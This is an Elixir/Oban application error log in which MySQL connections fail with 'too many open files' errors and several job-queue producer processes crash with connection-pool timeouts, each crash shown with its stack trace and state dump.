State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:33:48.239083Z], limit: 3, uuid: "18e0c7b6-bf80-41ea-ad62-9959f073b334", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:33:48.239088Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077673987.43804>, refresh_timer: #Reference<0.2525715032.1077673987.43787>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:01.542000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:03.548000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:04.151000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:05.154000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:07.815000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:11.598000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:12.127000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1052ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:34:00.240505Z], limit: 3, uuid: "1ca31077-8920-4a23-8504-0ffcb9cb72fe", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:00.240512Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.64839>, refresh_timer: #Reference<0.2525715032.1099431938.63636>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:12.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1017ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:34:00.238996Z], limit: 50, uuid: "38dafb42-e173-4048-811f-d2c616bd05d7", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:00.239002Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.64837>, refresh_timer: #Reference<0.2525715032.1121189889.201814>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:12.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1066ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:34:00.238974Z], limit: 20, uuid: "0d4555a5-221d-4fdc-8b61-efb9bc9a97ee", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:00.238979Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.64840>, refresh_timer: #Reference<0.2525715032.1077673987.43958>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:12.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 879ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:34:00.238812Z], limit: 5, uuid: "617a0529-cdc8-4779-bda1-015be5a88b1a", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:00.238817Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.64838>, refresh_timer: #Reference<0.2525715032.1099431938.63614>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:12.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 814ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:34:00.239173Z], limit: 10, uuid: "c129f97b-3e49-4e61-bda1-2abd0db3dfd0", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:00.239178Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.64841>, refresh_timer: #Reference<0.2525715032.1077673987.43965>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:12.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 806ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:34:00.238522Z], limit: 5, uuid: "e582b0cf-77c4-4289-9497-4139c6c94712", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:00.238529Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.64842>, refresh_timer: #Reference<0.2525715032.1077673987.43947>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:13.829000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:14.560000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:14.842000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:17.847000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:17.941000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:20.723000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:23.200000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:34:24.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1079ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:34:12.239454Z], limit: 20, uuid: "589390d4-ed68-4fef-b9d2-3df60eb74a51", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:12.239460Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.65181>, refresh_timer: #Reference<0.2525715032.1077673987.44045>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:34:24.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 854ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:34:12.239512Z], limit: 50, uuid: "60b06846-ae65-4802-9ae1-5805f2e9801c", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:34:12.239517Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, 